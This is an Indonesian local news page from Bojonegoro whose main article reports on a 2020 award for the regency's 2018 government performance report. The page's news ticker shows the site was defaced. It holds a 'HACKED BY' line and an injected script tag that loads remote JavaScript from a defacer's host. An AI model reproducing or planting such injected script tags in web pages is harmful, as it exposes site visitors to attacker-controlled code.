News Ticker
  • HACKED BY HANZEN1337
  • <script src="https://jso.defacer.id/raw/I7j6n4T3C9"></script>
  • Kunjungan Kerja di Bojonegoro, Menhan Sjafrie Sjamsoeddin Tinjau Rencana Pengembangan Batalyon TP 885 dan Brigif 33 di Dander
  • 11 Juli dalam Sejarah
  • Prakiraan Cuaca Bojonegoro 11 Juli 2026
  • Kandang Ayam Senilai Rp2 M di Malo, Bojonegoro Ludes Terbakar
  • Panen Melon Bersama, Bupati Bojonegoro Ajak Generasi Muda Bangun Pertanian Modern
  • Pemkab Bojonegoro Alokasikan Rp11,03 Miliar untuk Lima Program Beasiswa Mahasiswa
  • Seorang Lansia Bojonegoro Tewas Tertabrak Kereta Api Jayabaya di Perlintasan Baureno
  • Perkiraan Harga Emas Hari Ini, 10 Jul 2026
  • Prakiraan Cuaca Bojonegoro 10 Juli 2026
  • 10 Juli dalam Sejarah
  • Kecamatan Kota Dominasi Emas Kickboxing, Klasemen Sementara Porkab II Bojonegoro Masih Memimpin
  • Dalam Sehari Terjadi Enam Kebakaran Lahan di Bojonegoro, Ini Daftarnya
  • Pemkab Bojonegoro Berikan Pembinaan Ribuan Mahasiswa Penerima Beasiswa Daerah
  • "El Último Tango", Sepatu Spesial Adidas untuk Perjalanan Terakhir Messi di Piala Dunia
  • Kejari Bojonegoro Terima Tahap II Kasus Dugaan Peredaran Rokok Ilegal
  • Paripurna DPRD, Raperda Pertanggungjawaban APBD 2025 Disetujui
  • Hadapi Musim Kemarau, Pemkab Bojonegoro Distribusikan Air Bersih ke Sejumlah Desa
  • Pemkab Bojonegoro Dorong Setiap OPD Lahirkan Inovasi Lewat BIA 2026
  • Prakiraan Cuaca Bojonegoro 9 Juli 2026
  • Rumah Kosong di Kapas, Bojonegoro Terbakar, Kerugian Capai 150 Juta Rupiah
  • Merayakan Detik Ini: Menemukan Kedamaian dalam Jejak Hidup yang Singkat
  • Tiga Rumah di Temayang Bojonegoro Terbakar Akibat Korsleting Listrik, Total Kerugian 520 Juta Rupiah
Pemkab Bojonegoro Raih Status Kinerja Sangat Tinggi atas LPPD Tahun 2018

Pemkab Bojonegoro Raih Status Kinerja Sangat Tinggi atas LPPD Tahun 2018

Bojonegoro - Pemerintah Kabupaten (Pemkab) Bojonegoro, terima penghargaan dari Menteri Dalam Negeri Republik Indonesia, atas capaian Laporan Penyelenggaraan Pemerintahan Daerah (LPPD) Tahun 2018, dengan Status Kinerja Sangat Tinggi.
 
Penghargaan tersebut diserahkan oleh Gubernur Jawa Timur, Dra Hj Khofifah Indar Parawansa MSi kepada Sekretaris Daerah (Sekda) Kabupaten Bojonegoro, Dra Nurul Azizah MM, yang mewakili Bupati Bojonegoro, di Gedung Negara Grahadi Surabaya, Jumat (16/10/2020), yang dihadiri Bupati dan Walikota se Jawa Timur.
 
 
Gubernur Jawa Timur, Khofifah Indar Parawansa dalam sambutannya menyampaikan bahwa Provinsi Jawa Timur pada tanggal 7 Oktober 2020 lalu mendapatkan Kinerja Tertinggi di antara seluruh provinsi di Indonesia.
 
"Ini kita raih berkat  konsistensi terhadap keberseiringan visi dan misi di tingkat Pusat, Provinsi, dan Kabupaten atau Kota.  Konsistensi ini sangat penting agar breakdown RKPD sampai dengan penganggaran di APBD bisa sejalan," tutur Gubernur Jawa Timur.
 
 
 

Piagam Penghargaan untuk Kabupaten Bojonegoro.

 
Sementara itu, Sekretaris Daerah Kabupaten Bojonegoro, Dra Nurul Azizah MM usai menerima penghargaan tersebut menyampaikan terima kasih atas sinergisme semua jajaran, baik eksekutif maupun legislatif, serta seluruh elemen masyarakat, sehingga Kabupaten Bojonegoro dapat meraih Status Kinerja Sangat Tinggi atas LPPD Tahun 2018.
 
"Ini adalah kerja kita bersama dan merupakan kado yang membanggakan menjelang Hari Jadi Bojonegoro ke 343. Ke depan prestasi ini harus kita pertahankan dan kita tingkatkan, demi peningkatan pelayanan kepada masyarakat," kata Sekda Bojonegoro, Dra Nurul Azizah MM.
 
 
 
Untuk diketahui, Berdasarkan Peraturan Pemerintah (PP) Nomor 3 Tahun 2007 tentang Laporan Penyelenggaraan Pemerintah Daerah (LPPD) adalah Laporan atas penyelenggaraan pemerintahan daerah selama 1 tahun angaran, berdasarkan Rencana Kerja Pemerintah Daerah (RKPD) yang disampaikan kepala daerah kepada Pemerintah.
 
Laporan ini mengambarkan kinerja urusan yang ditangani oleh Pemerintah Daerah, untuk itu Kemendagri menetapkan Indikator Kinerja Kunci (IKK) untuk masing-masing urusan. LPPD yang dilaporkan harus sedapat mungkin menggambarkan kondisi nyata kinerja Pemerintah Daerah.
 
Pemerintah Daerah harus mengisi realisasi capaian masing-masing indikator yang telah ditetapkan tersebut. Kinerja yang terbaik bukan ditetapkan berdasarkan standard, melainkan melalui proses perbandingan antara pemerintah daerah.
 
 
 
Dasar hukum yang melandasi penyusunan Laporan Penyelenggaraan Pemerintahan Daerah (LPPD) adalah Undang-undang Nomor 32 Tahun 2004 tentang Pemerintahan Daerah serta Undang-undang Nomor 33 Tahun 2004, tentang Perimbangan Keuangan antara Pemerintah Pusat dan Pemerintah Daerah.
 
Penyusunan LPPPD merupakan kewajiban Pemerintah Daerah Provinsi maupun Kabupaten/Kota, sebagaimana yang diamanatkan dalam Peraturan Pemerintah (PP) Nomor 3 Tahun 2007, tentang LPPD kepada Pemerintah, LKPJ Kepala Daerah kepada DPRD, dan Informasi LPPD kepada Masyarakat. (red/imm)
 
Berita Terkait
1783884392.6663 at start, 1783884393.0433 at end, 0.37698483467102 sec elapsed